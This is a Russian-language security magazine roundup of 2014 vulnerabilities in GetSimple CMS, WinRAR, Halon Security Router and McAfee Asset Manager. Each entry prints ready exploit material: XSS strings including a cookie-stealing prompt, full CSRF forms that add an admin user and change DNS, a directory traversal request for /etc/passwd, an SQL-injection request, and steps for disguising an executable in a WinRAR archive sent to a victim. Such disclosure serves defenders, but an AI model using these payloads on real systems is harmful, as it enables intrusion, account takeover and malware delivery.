Содержание статьи
Сегодня мы проанализируем, что может произойти, если программа добавляет в открытый формат свои собственные поля, а также рассмотрим различные уязвимости в популярных CMS и фреймворке.
Различные уязвимости в GetSimple CMS 3.3.1
- CVSSv2: N/A
- Дата релиза: 24 марта 2014 года
- Автор: Jeroen — IT Nerdbox
- CVE: N/A
Начнем наш обзор с нескольких уязвимостей, которые были найдены в CMS GetSimple, позиционирующей себя как очень простую в использовании. Так как часть уязвимостей — это XSS, то рассмотрим сразу эксплойты.
Warning!
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
EXPLOIT
- Хранимая XSS была найдена в административном интерфейсе настроек, где в полях
name
иpermalink
из-за недостаточных проверок можно вставить вредоносный код, который будет сохранен в XML-файл.Для проверки вводим в полеDisplay name
по URL-адресуhttp://site.com/admin/settings.php
следующий код:Admin"><script>alert("1");</script>
- Следующая уязвимость была также найдена в административном интерфейсе в модуле, ответственном за логи,
log.php
, в параметреlog
, но относится она к отраженным XSS:http://site.com/admin/log.php?log=test.log<img/src="> "onerror=prompt(document.cookie)>
- Третья ошибка была найдена в модуле восстановления пароля и позволяет собрать имена пользователей, которые есть в системе. Система выводит разные сообщения для существующих и несуществующих пользователей.
- Последняя уязвимость опять была найдена в модуле восстановления доступа. Механизм восстановления пароля сразу сбрасывает пароль по запросу без каких-либо дополнительных проверок. Вследствие этого атакующий может отправлять запросы каждую N секунду, когда пользователь авторизуется в системе. Другой эффект от этой уязвимости позволяет «забомбить» почту пользователя большим количеством сообщений о сброшенном пароле.
Эффективный путь решить эту проблему — высылать ссылку для сброса на почту пользователя.
Автор уязвимостей также записал видео для демонстрации уязвимостей и выложил на своем YouTube-канале.
TARGETS
GetSimple CMS 3.3.1.
SOLUTION
На момент написания статьи о патче не было известно.
Уязвимость нулевого дня в WinRAR
- CVSSv2: N/A
- Дата релиза: 23 марта 2014 года
- Автор: chr1x, An7i
- CVE: N/A
Теперь рассмотрим «0day»-уязвимость в популярном архиваторе WinRAR от компании RARLAB. Пусть тебя не смущает, что уязвимость нулевого дня в кавычках. Как пишут источники, уязвимость была найдена еще 28 сентября 2009 года (добавлена в базу OSVDB), но при этом успешно эксплуатируется на версиях программы 2012 и выше. Также эта техника была замечена при использовании в атаках за март 2014-го.
Начнем с небольшой схемы ZIP-формата, представленной на скриншоте.
Хакер #184. Современный фронтенд
Как ты видишь, смещение (offset), равное 30, указывает на имя сжатого файла.
Когда исследователь сжал файл с помощью программы WinRAR, указав метод сжатия ZIP Format
, то увидел, что структура полученного файла схожа, но WinRAR добавил несколько собственных свойств. Для лучшего понимания посмотрим на скриншот, где мы сжимаем файл с именем Test1.txt
и данными AAAAA
в формате ZIP.
Как ты заметил, WinRAR вставил дополнительное поле file name
внутрь сжатого файла. После небольшого анализа было установлено, что второе имя дается файлу после его разархивирования. А первое имя используется для отображения в главном окне WinRAR при просмотре архива.
Причем никакой проверки на идентичность нет, что позволяет нам в качестве первого имени использовать безобидные ReadMe.txt
или Небо.jpg
, а вот вторым реальным будет исполняемый файл с расширением exe или bat.
EXPLOIT
Для проверки достаточно воспроизвести следующие этапы:
- Берем любой исполняемый файл, например очень любимый нами калькулятор
calc.exe
. - Упаковываем его с помощью WinRAR, выбрав формат ZIP.
- Открываем полученный файл с помощью редактора и меняем расширение в первом имени. На скриншоте я специально открыл один и тот же файл для демонстрации того, что между вторым и первым именем лежит сжатая информация.
- Отсылаем полученный файл жертве.
В принципе, от такой атаки можно защититься или ты даже ее не заметишь, если всегда используешь опцию архиватора «Распаковать сюда/в...». Но и это можно обойти.
В одном из исследований, описывающих атаку с использованием этой технологии, показали фишинговое письмо, в котором было написано, что архив запаролен и пользователь открывал его через архиватор. После чего появлялось фейковое сообщение с просьбой ввести пароль.
Теперь, если использовать эту уязвимость вместе с другой известной уязвимостью в WindowsUnicode RLO Spoofing, становится ясен вектор атаки. Суть в том, что реальное имя файла, например Fede.jpg.exe
, Windows покажет пользователю как Fedexe..jpg
. То есть, объединив эти технологии, получаем, что, открыв через WinRAR архив, пользователь увидит изображение. Если пользователь вначале распакует файлы, то все равно увидит изображение, но в обоих случаях запустит в итоге EXE-файл.
Также для этой уязвимости был написан Metasploit-модуль, который ты можешь вызвать через команду
use exploits/windows/fileformat/winrar_name_spoofing.rb
TARGETS
WinRAR 3.80; WinRAR 4.20.
SOLUTION
Есть исправление от производителя.
Многочисленные уязвимости в Halon Security Router (SR) 3.2-winter-r1
- CVSSv2:
- 5.5 (AV:N/AC:L/Au:S/C:P/I:P/A:N)
- 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
- 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
- Дата релиза: 7 апреля 2014 года
- Автор: Juan Manuel Garcia
- CVE: N/A
Разбавим наш обзор уже стабильными уязвимостями в роутерах. Сегодня рассмотрим серию ошибок в Security Router от компании Halon, найденных компанией ITforce.
EXPLOIT
- Отраженные XSS. Параметр
log
:http://sr.demo.halon.se/commands/logviewer/?log=vic0';</script><script>alert(1)</script>
Параметр
file
:http://sr.demo.halon.se/fileviewer/?file=";</script><script>alert(1)</script>
Параметр
graph
:http://sr.demo.halon.se/system/graphs/?graph='+alert(1)+'
Параметр
command
:http://sr.demo.halon.se/commands/?command='+alert(1)+'
Параметр
id
:http://sr.demo.halon.se/system/users/?id='+alert(1)+'
Параметр
uri
:http://sr.demo.halon.se/config/?uri='+alert(1)+'
Другие параметры, возможно, также уязвимы.
- CSRFПервая функция позволяет добавить пользователя
/system/users/?add=user
. Пример атаки:<html> <body> <form method="POST" name="form0" action="http://localhost:80/system/users/?add=user"> <input type="hidden" name="checkout" value="17"/> <input type="hidden" name="apply" value=""/> <input type="hidden" name="id" value=""/> <input type="hidden" name="old_user" value=""/> <input type="hidden" name="user" value="hacker"/> <input type="hidden" name="full-name" value="ITFORCE H4x0r"/> <input type="hidden" name="class" value=""/> <input type="hidden" name="password" value="1234"/> <input type="hidden" name="password2" value="1234"/> </form> </body> </html>
Другая же изменяет DNS-конфигурацию
/network/dns
:<html> <body> <form method="POST" name="form0" action="http://localhost:80/network/dns/"> <input type="hidden" name="checkout" value="17"/> <input type="hidden" name="apply" value=""/> <input type="hidden" name="name-servers" value="8.8.8.8"/> <input type="hidden" name="search-domain" value=""/> <input type="hidden" name="host-name" value="sr.demo.halon.se"/> </form> </body> </html>
Уязвимы также следующие функции в модуле
network
:Network Configuration: http://xxx.xxx.xxx.xxx/network/basic Load Balancer Configuration: http://xxx.xxx.xxx.xxx/network/loadbalancer VPN Configuration: http://xxx.xxx.xxx.xxx/network/vpn Firewall Configuration: http://xxx.xxx.xxx.xxx/network/firewall
- Открытый редирект. Уязвим параметр
uri
в следующих запросах:http://sr.demo.halon.se/cluster/?switch_to=&uri=http://itforce.tk http://sr.demo.halon.se/config/?checkout=17&uri=http://itforce.tk
TARGETS
Halon Security Router (SR) 3.2-winter-r1.
SOLUTION
Установить или обновить до (SR) v3.2r2.
Различные уязвимости в McAfee Asset Manager 6.6
- CVSSv2: 4.0 (AV:R/AC:L/Au:S/C:P/I:N/A:N)
- Дата релиза: 18 марта 2014 года
- Автор: Brandon Perry
- CVE: 2014-2586
Исследователь Брэндон Перри (Brandon Perry) нашел серию уязвимостей в продукте от крупной ИБ-компании McAfee Asset Manager. Она используется во многих компаниях для мониторинга сети в реальном времени.
Первой появилась XSS-уязвимость, о которой автор написал в своем твиттере с пометкой 0day. Позже появилось письмо в рассылке seclists с дополнительными и более интересными ошибками, которые мы и рассмотрим дальше.
EXPLOIT
Первая уязвимость позволяет использовать неавторизованную XSS. Например, попытаемся залогиниться с такими данными: <b>fdsa</b>:password
. После этого, как ты видишь на скриншоте, пользователь с достаточными правами увидит в логах попытку авторизоваться и выделенным именем.
Следующая уязвимость позволяет скачивать произвольные файлы с такими же правами доступа, что использует веб-сервер для выгрузки отчетов. Для генерации отчета пользователь делает запрос на servlet/downloadReport?reportFileName=blah
. Вследствие этого атакующий может провести атаку directory traversal
и скачать файл /etc/passwd
.
Пример запроса:
GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwd&format=CSV HTTP/1.1
...
Referer: https://172.31.16.167/Inventory?filterColumns=&curViewId=-1&maintainQuery=true&format=search&collectorId=null&criticality=0&pageNum=1&location=Inventory&viewSelect=-999999&filterValueField=&orderBy=FIREWALLED&orderBy2=SITE&orderBy3=CRITICALITY_NAME&wsz=200&wszCtrl_1=200&action=AUDIT_REDISCOVER&formatSelect=
...
И последняя на сегодня уязвимость — SQL-инъекция.
Непривилегированный, но авторизованный пользователь может инициировать атаку с использованием SQL-инъекции, создав отчет по аудиту и контролируя имя пользователя в этом отчете. Уязвимым является параметр user
, а сам запрос выглядит примерно следующим образом:
POST /jsp/reports/ReportsAudit.jsp HTTP/1.1
Host:
...
fromDate=03-19-2014&toDate=03-19-2014&freetext=&Severity=0&AuditType=12&user=Administrator
TARGETS
McAfee Asset Manager v6.6.
SOLUTION
Есть исправление от производителя.